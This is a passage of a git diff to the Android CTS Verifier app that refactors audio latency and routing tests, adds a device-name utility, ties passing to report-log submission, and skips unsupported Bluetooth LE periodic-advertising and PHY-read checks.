- deviceName + " [0x" + Integer.toHexString(deviceType) + "]" +
- " - " + mNumRoutingNotifications);
-
+ mConnectedPeripheralName = AudioDeviceUtils.formatDeviceName(routedDevice);
+ textView.setText(msg + ": " + mConnectedPeripheralName);
mRoutingNotificationReceived = true;
calculatePass();
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
index a6bd4add994..413734bdaad 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
@@ -127,11 +127,11 @@ public class AudioLoopbackLatencyActivity extends PassFailButtons.Activity {
private TestSpec[] mTestSpecs = new TestSpec[NUM_TEST_ROUTES];
class TestSpec {
+ private static final String TAG = "AudioLoopbackLatencyActivity.TestSpec";
// impossibly low latencies (indicating something in the test went wrong).
protected static final double LOWEST_REASONABLE_LATENCY_MILLIS = 1.0;
final int mRouteId;
- // final double mMustLatencyMS;
// runtime assigned device ID
static final int DEVICEID_NONE = -1;
@@ -151,7 +151,6 @@ public class AudioLoopbackLatencyActivity extends PassFailButtons.Activity {
boolean mRouteAvailable; // Have we seen this route/device at any time
boolean mRouteConnected; // is the route available NOW
boolean mTestRun;
- // boolean mTestPass;
TestSpec(int routeId, double requiredConfidence) {
mRouteId = routeId;
@@ -181,14 +180,6 @@ public class AudioLoopbackLatencyActivity extends PassFailButtons.Activity {
mMeanConfidence = StatUtils.calculateMean(mConfidence);
}
- boolean getRouteAvailable() {
- return mRouteAvailable;
- }
-
- boolean getTestRun() {
- return mTestRun;
- }
-
boolean isMeasurementValid() {
return mTestRun && mMeanLatencyMS > 1.0 && mMeanConfidence >= mRequiredConfidence;
}
@@ -224,60 +215,42 @@ public class AudioLoopbackLatencyActivity extends PassFailButtons.Activity {
}
// ReportLog Schema (per route)
- private static final String KEY_ROUTEAVAILABLE = "route_available";
- private static final String KEY_ROUTECONNECTED = "route_connected";
- private static final String KEY_ROUTERUN = "route_run";
- private static final String KEY_LATENCY = "route_latency";
- private static final String KEY_CONFIDENCE = "route_confidence";
- private static final String KEY_MEANABSDEVIATION = "route_mean_absolute_deviation";
- private static final String KEY_IS_PERIPHERAL_ATTACHED = "route_is_peripheral_attached";
- private static final String KEY_INPUT_PERIPHERAL_NAME = "route_input_peripheral";
- private static final String KEY_OUTPUT_PERIPHERAL_NAME = "route_output_peripheral";
- private static final String KEY_TEST_PERIPHERAL = "route_test_peripheral";
-
- String makeSectionKey(String key) {
- return Integer.toString(mRouteId) + "_" + key;
- }
+ private static final String KEY_ROUTEINDEX = "route_index";
+ private static final String KEY_LATENCY = "latency";
+ private static final String KEY_CONFIDENCE = "confidence";
+ private static final String KEY_MEANABSDEVIATION = "mean_absolute_deviation";
+ private static final String KEY_IS_PERIPHERAL_ATTACHED = "is_peripheral_attached";
+ private static final String KEY_INPUT_PERIPHERAL_NAME = "input_peripheral";
+ private static final String KEY_OUTPUT_PERIPHERAL_NAME = "output_peripheral";
+ private static final String KEY_TEST_PERIPHERAL = "test_peripheral";
void recordTestResults(CtsVerifierReportLog reportLog) {
reportLog.addValue(
- makeSectionKey(KEY_ROUTEAVAILABLE),
- mRouteAvailable ? 1 : 0,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- reportLog.addValue(
- makeSectionKey(KEY_ROUTECONNECTED),
- mRouteConnected ? 1 : 0,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- reportLog.addValue(
- makeSectionKey(KEY_ROUTERUN),
- mTestRun ? 1 : 0,
+ KEY_ROUTEINDEX,
+ mRouteId,
ResultType.NEUTRAL,
ResultUnit.NONE);
reportLog.addValue(
- makeSectionKey(KEY_LATENCY),
+ KEY_LATENCY,
mMeanLatencyMS,
ResultType.LOWER_BETTER,
ResultUnit.MS);
reportLog.addValue(
- makeSectionKey(KEY_CONFIDENCE),
+ KEY_CONFIDENCE,
mMeanConfidence,
ResultType.HIGHER_BETTER,
ResultUnit.NONE);
reportLog.addValue(
- makeSectionKey(KEY_MEANABSDEVIATION),
+ KEY_MEANABSDEVIATION,
mMeanAbsoluteDeviation,
ResultType.NEUTRAL,
ResultUnit.NONE);
reportLog.addValue(
- makeSectionKey(KEY_TEST_PERIPHERAL),
+ KEY_TEST_PERIPHERAL,
mDeviceName,
ResultType.NEUTRAL,
ResultUnit.NONE);
@@ -294,6 +267,8 @@ public class AudioLoopbackLatencyActivity extends PassFailButtons.Activity {
getPassButton().setEnabled(false);
setInfoResources(R.string.audio_loopback_latency_test, R.string.audio_loopback_info, -1);
+ mRequireReportLogToPass = true;
+
mClaimsOutput = AudioSystemFlags.claimsOutput(this);
mClaimsInput = AudioSystemFlags.claimsInput(this);
mClaimsProAudio = AudioSystemFlags.claimsProAudio(this);
@@ -474,7 +449,6 @@ public class AudioLoopbackLatencyActivity extends PassFailButtons.Activity {
mTestSpecs[TESTROUTE_USB].mDeviceName = devInfo.getProductName().toString();
}
- // setTestButtonsState();
enableStartButtons(true);
}
}
@@ -533,69 +507,66 @@ public class AudioLoopbackLatencyActivity extends PassFailButtons.Activity {
return setTestNameSuffix(sCurrentDisplayMode, "audio_loopback_latency_activity");
}
- // Schema
+ // Test-Schema
private static final String KEY_SAMPLE_RATE = "sample_rate";
private static final String KEY_IS_PRO_AUDIO = "is_pro_audio";
private static final String KEY_IS_LOW_LATENCY = "is_low_latency";
private static final String KEY_TEST_MMAP = "supports_mmap";
private static final String KEY_TEST_MMAPEXCLUSIVE = "supports_mmap_exclusive";
private static final String KEY_LEVEL = "level";
- //
- // Subclasses should call this explicitly. SubClasses should call submit() after their logs
- //
- @Override
- public void recordTestResults() {
- Log.i(TAG, "recordTestResults() mNativeAnalyzerThread:" + mNativeAnalyzerThread);
-
- // We need to rework that
- CtsVerifierReportLog reportLog = getReportLog();
-
- int audioLevel = mAudioLevelSeekbar.getProgress();
- reportLog.addValue(
- KEY_LEVEL,
- audioLevel,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- reportLog.addValue(
- KEY_IS_PRO_AUDIO,
- mClaimsProAudio,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- reportLog.addValue(
- KEY_TEST_MMAP,
- mSupportsMMAP,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- reportLog.addValue(
- KEY_TEST_MMAPEXCLUSIVE ,
- mSupportsMMAPExclusive,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- if (mNativeAnalyzerThread == null) {
- return; // no test results to report
- }
- reportLog.addValue(
- KEY_SAMPLE_RATE,
- mNativeAnalyzerThread.getSampleRate(),
- ResultType.NEUTRAL,
- ResultUnit.NONE);
+ private void recordRouteResults(int routeIndex) {
+ if (mTestSpecs[routeIndex].mTestRun) {
+ CtsVerifierReportLog reportLog = newReportLog();
- reportLog.addValue(
- KEY_IS_LOW_LATENCY,
- mNativeAnalyzerThread.isLowLatencyStream(),
- ResultType.NEUTRAL,
- ResultUnit.NONE);
+ int audioLevel = mAudioLevelSeekbar.getProgress();
+ reportLog.addValue(
+ KEY_LEVEL,
+ audioLevel,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
- for (TestSpec testSpec : mTestSpecs) {
- testSpec.recordTestResults(reportLog);
+ reportLog.addValue(
+ KEY_IS_PRO_AUDIO,
+ mClaimsProAudio,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ KEY_TEST_MMAP,
+ mSupportsMMAP,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ KEY_TEST_MMAPEXCLUSIVE,
+ mSupportsMMAPExclusive,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ KEY_SAMPLE_RATE,
+ mNativeAnalyzerThread.getSampleRate(),
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ reportLog.addValue(
+ KEY_IS_LOW_LATENCY,
+ mNativeAnalyzerThread.isLowLatencyStream(),
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
+ mTestSpecs[routeIndex].recordTestResults(reportLog);
+
+ reportLog.submit();
}
+ }
- reportLog.submit();
+ @Override
+ public void recordTestResults() {
+ for (int route = 0; route < NUM_TEST_ROUTES; route++) {
+ recordRouteResults(route);
+ }
}
private void startAudioTest(Handler messageHandler, int testRouteId) {
@@ -658,6 +629,7 @@ public class AudioLoopbackLatencyActivity extends PassFailButtons.Activity {
e.printStackTrace();
}
+
mTestPhase++;
if (mTestPhase >= NUM_TEST_PHASES) {
handleTestCompletion();
@@ -683,7 +655,8 @@ public class AudioLoopbackLatencyActivity extends PassFailButtons.Activity {
mResultsText[mTestRoute].setText(testSpec.getResultString());
LoopbackLatencyRequirements requirements = new LoopbackLatencyRequirements();
- boolean pass = requirements.evaluate(mClaimsProAudio,
+ boolean pass = isReportLogOkToPass()
+ && requirements.evaluate(mClaimsProAudio,
Build.VERSION.MEDIA_PERFORMANCE_CLASS,
mTestSpecs[TESTROUTE_DEVICE].isMeasurementValid()
? mTestSpecs[TESTROUTE_DEVICE].mMeanLatencyMS : 0.0,
@@ -694,8 +667,12 @@ public class AudioLoopbackLatencyActivity extends PassFailButtons.Activity {
getPassButton().setEnabled(pass);
- String resultText = requirements.getResultsString();
- mTestStatusText.setText(resultText);
+ StringBuilder sb = new StringBuilder();
+ if (!isReportLogOkToPass()) {
+ sb.append(getResources().getString(R.string.audio_general_reportlogtest) + "\n");
+ }
+ sb.append(requirements.getResultsString());
+ mTestStatusText.setText(sb.toString());
showWait(false);
enableStartButtons(true);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java
index 591fe9b6bd4..1ece2f10b28 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java
@@ -32,6 +32,7 @@ import android.widget.TextView;
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
+import com.android.cts.verifier.audio.audiolib.AudioDeviceUtils;
import com.android.cts.verifier.CtsVerifierReportLog;
import com.android.cts.verifier.R;
@@ -131,13 +132,8 @@ public class AudioOutputRoutingNotificationsActivity extends AudioWiredDeviceBas
String msg = mContext.getResources().getString(
R.string.audio_routingnotification_trackRoutingMsg);
AudioDeviceInfo routedDevice = audioTrack.getRoutedDevice();
- CharSequence deviceName = routedDevice != null ? routedDevice.getProductName() : "none";
- mConnectedPeripheralName = deviceName.toString();
- int deviceType = routedDevice != null ? routedDevice.getType() : -1;
- textView.setText(msg + " - " +
- deviceName + " [0x" + Integer.toHexString(deviceType) + "]" +
- " - " + mNumRoutingNotifications);
-
+ mConnectedPeripheralName = AudioDeviceUtils.formatDeviceName(routedDevice);
+ textView.setText(msg + ": " + mConnectedPeripheralName);
mRoutingNotificationReceived = true;
calculatePass();
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioTap2ToneActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioTap2ToneActivity.java
index 215d26fd65b..8ff23588889 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioTap2ToneActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioTap2ToneActivity.java
@@ -154,6 +154,8 @@ public class AudioTap2ToneActivity
String yesString = getResources().getString(R.string.audio_general_yes);
String noString = getResources().getString(R.string.audio_general_no);
+ mRequireReportLogToPass = true;
+
boolean claimsProAudio = AudioSystemFlags.claimsProAudio(this);
boolean claimsLowLatencyAudio = AudioSystemFlags.claimsLowLatencyAudio(this);
@@ -311,11 +313,14 @@ public class AudioTap2ToneActivity
}
double averageLatency = mLatencyAve[mActiveTestAPI];
- boolean pass = averageLatency != 0 && averageLatency <= mMaxRequiredLatency;
+ boolean pass = isReportLogOkToPass()
+ && averageLatency != 0 && averageLatency <= mMaxRequiredLatency;
if (pass) {
mSpecView.setText("Average: " + averageLatency + " ms <= "
+ mMaxRequiredLatency + " ms -- PASS");
+ } else if (!isReportLogOkToPass()) {
+ mSpecView.setText(getResources().getString(R.string.audio_general_reportlogtest));
} else {
mSpecView.setText("Average: " + averageLatency + " ms > "
+ mMaxRequiredLatency + " ms -- FAIL");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
index 3dccf1f1293..cac4659bba0 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
@@ -92,6 +92,15 @@ public class HifiUltrasoundSpeakerTestActivity extends PassFailButtons.Activity
}
}
+ boolean getBoolPropValue(final String value) {
+ if (value == null) {
+ return false;
+ }
+
+ return !value.equalsIgnoreCase(getResources().getString(
+ R.string.hifi_ultrasound_test_default_false_string));
+ }
+
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
@@ -106,27 +115,17 @@ public class HifiUltrasoundSpeakerTestActivity extends PassFailButtons.Activity
info.setText(R.string.hifi_ultrasound_speaker_test_instruction1);
AudioManager audioManager = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
- String micSupportString = audioManager.getProperty(
- AudioManager.PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND);
- String spkrSupportString = audioManager.getProperty(
- AudioManager.PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND);
- Log.d(TAG, "PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND = " + micSupportString);
- Log.d(TAG, "PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND = " + spkrSupportString);
-
- if (micSupportString == null) {
- micSupportString = "null";
- }
- if (spkrSupportString == null) {
- spkrSupportString = "null";
- }
- if (micSupportString.equalsIgnoreCase(getResources().getString(
- R.string.hifi_ultrasound_test_default_false_string))) {
- micSupport = false;
+ micSupport = getBoolPropValue(audioManager.getProperty(
+ AudioManager.PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND));
+ spkrSupport = getBoolPropValue(audioManager.getProperty(
+ AudioManager.PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND));
+ Log.d(TAG, "PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND = " + micSupport);
+ Log.d(TAG, "PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND = " + spkrSupport);
+
+ if (!micSupport) {
info.append(getResources().getString(R.string.hifi_ultrasound_speaker_test_mic_no_support));
}
- if (spkrSupportString.equalsIgnoreCase(getResources().getString(
- R.string.hifi_ultrasound_test_default_false_string))) {
- spkrSupport = false;
+ if (!spkrSupport) {
getPassButton().setEnabled(true);
info.append(getResources().getString(R.string.hifi_ultrasound_speaker_test_spkr_no_support));
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java
index f5e4271e981..5f1be3899e8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java
@@ -75,6 +75,15 @@ public class HifiUltrasoundTestActivity extends PassFailButtons.Activity {
}
}
+ boolean getBoolPropValue(final String value) {
+ if (value == null) {
+ return false;
+ }
+
+ return !value.equalsIgnoreCase(getResources().getString(
+ R.string.hifi_ultrasound_test_default_false_string));
+ }
+
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
@@ -88,29 +97,19 @@ public class HifiUltrasoundTestActivity extends PassFailButtons.Activity {
info.setText(R.string.hifi_ultrasound_test_instruction1);
AudioManager audioManager = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
- String micSupportString = audioManager.getProperty(
- AudioManager.PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND);
- String spkrSupportString = audioManager.getProperty(
- AudioManager.PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND);
- Log.d(TAG, "PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND = " + micSupportString);
- Log.d(TAG, "PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND = " + spkrSupportString);
-
- if (micSupportString == null) {
- micSupportString = "null";
- }
- if (spkrSupportString == null) {
- spkrSupportString = "null";
- }
- if (micSupportString.equalsIgnoreCase(getResources().getString(
- R.string.hifi_ultrasound_test_default_false_string))) {
- micSupport = false;
+ micSupport = getBoolPropValue(audioManager.getProperty(
+ AudioManager.PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND));
+ spkrSupport = getBoolPropValue(audioManager.getProperty(
+ AudioManager.PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND));
+ Log.d(TAG, "PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND = " + micSupport);
+ Log.d(TAG, "PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND = " + spkrSupport);
+
+ if (!micSupport) {
getPassButton().setEnabled(true);
getPassButton().performClick();
info.append(getResources().getString(R.string.hifi_ultrasound_test_mic_no_support));
}
- if (spkrSupportString.equalsIgnoreCase(getResources().getString(
- R.string.hifi_ultrasound_test_default_false_string))) {
- spkrSupport = false;
+ if (!spkrSupport) {
info.append(getResources().getString(R.string.hifi_ultrasound_test_spkr_no_support));
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
index 126d15fdacb..e93d2b319ff 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
@@ -158,11 +158,9 @@ public class ProAudioActivity
boolean usbOK = mClaimsUSBHostMode && mClaimsUSBPeripheralMode;
boolean hdmiOK = !mClaimsHDMI || isHDMIValid();
- boolean hasPassed = !mClaimsProAudio ||
- (mClaimsLowLatencyAudio &&
- mClaimsMIDI &&
- usbOK &&
- hdmiOK);
+ boolean hasPassed = isReportLogOkToPass()
+ && !mClaimsProAudio
+ || (mClaimsLowLatencyAudio && mClaimsMIDI && usbOK && hdmiOK);
getPassButton().setEnabled(hasPassed);
return hasPassed;
@@ -172,7 +170,9 @@ public class ProAudioActivity
boolean hasPassed = calculatePass();
Resources strings = getResources();
- if (hasPassed) {
+ if (!isReportLogOkToPass()) {
+ mTestStatusLbl.setText(getResources().getString(R.string.audio_general_reportlogtest));
+ } else if (hasPassed) {
mTestStatusLbl.setText(strings.getString(R.string.audio_proaudio_pass));
} else if (!mClaimsMIDI) {
mTestStatusLbl.setText(strings.getString(R.string.audio_proaudio_midinotreported));
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralNotificationsTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralNotificationsTest.java
index bc23048c28e..6270a5a8311 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralNotificationsTest.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralNotificationsTest.java
@@ -20,23 +20,17 @@ import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
-
import android.media.AudioDeviceCallback;
import android.media.AudioDeviceInfo;
import android.media.AudioManager;
-
import android.os.Bundle;
import android.os.Handler;
-
import android.util.Log;
-
import android.widget.TextView;
import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.ReportLog;
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
-
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R; // needed to access resource in CTSVerifier project namespace.
@@ -173,9 +167,10 @@ public class USBAudioPeripheralNotificationsTest extends PassFailButtons.Activit
// Test Status
//
private boolean calculatePass() {
- return mUsbHeadsetInReceived && mUsbHeadsetOutReceived &&
- mUsbDeviceInReceived && mUsbDeviceOutReceived &&
- mPlugIntentReceived;
+ return isReportLogOkToPass()
+ && mUsbHeadsetInReceived && mUsbHeadsetOutReceived
+ && mUsbDeviceInReceived && mUsbDeviceOutReceived
+ && mPlugIntentReceived;
}
//
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioDeviceUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioDeviceUtils.java
new file mode 100644
index 00000000000..c066942215e
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioDeviceUtils.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio.audiolib;
+
+import android.media.AudioDeviceInfo;
+
+import java.util.HashMap;
+
+/**
+ * Utility methods for AudioDevices
+ */
+public class AudioDeviceUtils {
+ /*
+ * Channel Mask Utilities
+ */
+ private static final HashMap<Integer, String> sDeviceTypeStrings =
+ new HashMap<Integer, String>();
+
+ private static void initDeviceTypeStrings() {
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_UNKNOWN, "TYPE_UNKNOWN");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BUILTIN_EARPIECE, "TYPE_BUILTIN_EARPIECE");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BUILTIN_SPEAKER, "TYPE_BUILTIN_SPEAKER");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_WIRED_HEADSET, "TYPE_WIRED_HEADSET");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_WIRED_HEADPHONES, "TYPE_WIRED_HEADPHONES");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_LINE_ANALOG, "TYPE_LINE_ANALOG");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_LINE_DIGITAL, "TYPE_LINE_DIGITAL");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BLUETOOTH_SCO, "TYPE_BLUETOOTH_SCO");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BLUETOOTH_A2DP, "TYPE_BLUETOOTH_A2DP");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_HDMI, "TYPE_HDMI");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_HDMI_ARC, "TYPE_HDMI_ARC");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_USB_DEVICE, "TYPE_USB_DEVICE");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_USB_ACCESSORY, "TYPE_USB_ACCESSORY");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_DOCK, "TYPE_DOCK");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_FM, "TYPE_FM");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BUILTIN_MIC, "TYPE_BUILTIN_MIC");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_FM_TUNER, "TYPE_FM_TUNER");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_TV_TUNER, "TYPE_TV_TUNER");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_TELEPHONY, "TYPE_TELEPHONY");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_AUX_LINE, "TYPE_AUX_LINE");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_IP, "TYPE_IP");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BUS, "TYPE_BUS");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_USB_HEADSET, "TYPE_USB_HEADSET");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_HEARING_AID, "TYPE_HEARING_AID");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BUILTIN_SPEAKER_SAFE,
+ "TYPE_BUILTIN_SPEAKER_SAFE");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_REMOTE_SUBMIX, "TYPE_REMOTE_SUBMIX");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BLE_HEADSET, "TYPE_BLE_HEADSET");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BLE_SPEAKER, "TYPE_BLE_SPEAKER");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_ECHO_REFERENCE, "TYPE_ECHO_REFERENCE");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_HDMI_EARC, "TYPE_HDMI_EARC");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BLE_BROADCAST, "TYPE_BLE_BROADCAST");
+ }
+
+ static {
+ initDeviceTypeStrings();
+ }
+
+ /**
+ * @param deviceType
+ * @return a human-readable device type name.
+ */
+ public static String getDeviceTypeName(int deviceType) {
+ String typeName = sDeviceTypeStrings.get(deviceType);
+ return typeName != null ? typeName : "invalid type";
+ }
+
+ /**
+ * @param deviceInfo
+ * @return A human-readable description of the specified DeviceInfo
+ */
+ public static String formatDeviceName(AudioDeviceInfo deviceInfo) {
+ StringBuilder sb = new StringBuilder();
+ sb.append(deviceInfo.getProductName());
+ sb.append(" - " + getDeviceTypeName(deviceInfo.getType()));
+ return sb.toString();
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java
index 803c385f33f..164992b94a9 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java
@@ -244,6 +244,16 @@ public class BleAdvertisingSetTestActivity extends PassFailButtons.Activity {
// The following order of commands follows the diagram of Bluetooth Core Specification,
// Version 5.3, Vol 6, Part D, Figure 3.7: Periodic advertising.
private void testPeriodicAdvertising() throws InterruptedException {
+ if (!mBluetoothAdapter.isLePeriodicAdvertisingSupported()) {
+ mAllTestsPassed |= PASS_FLAG_SET_PERIODIC_ADVERTISING_PARAMS
+ | PASS_FLAG_SET_PERIODIC_ADVERTISING_DATA
+ | PASS_FLAG_SET_PERIODIC_ADVERTISING_ENABLED_DISABLED;
+ mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_PARAMS);
+ mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_DATA);
+ mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_ENABLED_DISABLED);
+ return;
+ }
+
mCallback.reset();
mCallback.mAdvertisingSet.get().setAdvertisingParameters(
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
index 3c1c58baee7..21e2877e1e6 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
@@ -120,6 +120,8 @@ public class BleClientService extends Service {
"com.android.cts.verifier.bluetooth.BLE_READ_REMOTE_RSSI";
public static final String BLE_PHY_READ =
"com.android.cts.verifier.bluetooth.BLE_PHY_READ";
+ public static final String BLE_PHY_READ_SKIPPED =
+ "com.android.cts.verifier.bluetooth.BLE_PHY_READ_SKIPPED";
public static final String BLE_ON_SERVICE_CHANGED =
"com.android.cts.verifier.bluetooth.BLE_ON_SERVICE_CHANGED";
public static final String BLE_CHARACTERISTIC_READ_NOPERMISSION =
@@ -907,6 +909,12 @@ public class BleClientService extends Service {
sendBroadcast(intent);
}
+ private void notifyPhyReadSkipped() {
+ showMessage("Phy read not supported. Skipping the test.");
+ Intent intent = new Intent(BLE_PHY_READ_SKIPPED);
+ sendBroadcast(intent);
+ }
+
private void notifyServiceChanged() {
showMessage("Remote service changed");
Intent intent = new Intent(BLE_ON_SERVICE_CHANGED);
@@ -1429,10 +1437,12 @@ public class BleClientService extends Service {
public void onPhyRead(BluetoothGatt gatt, int txPhy, int rxPhy, int status) {
super.onPhyRead(gatt, txPhy, rxPhy, status);
if (DEBUG) {
- Log.d(TAG, "onPhyRead");
+ Log.d(TAG, "onPhyRead status=" + status);
}
if (status == BluetoothGatt.GATT_SUCCESS) {
notifyPhyRead(txPhy, rxPhy);
+ } else if (status == BluetoothGatt.GATT_REQUEST_NOT_SUPPORTED) {
+ notifyPhyReadSkipped();
} else {
notifyError("Failed to read phy");
}
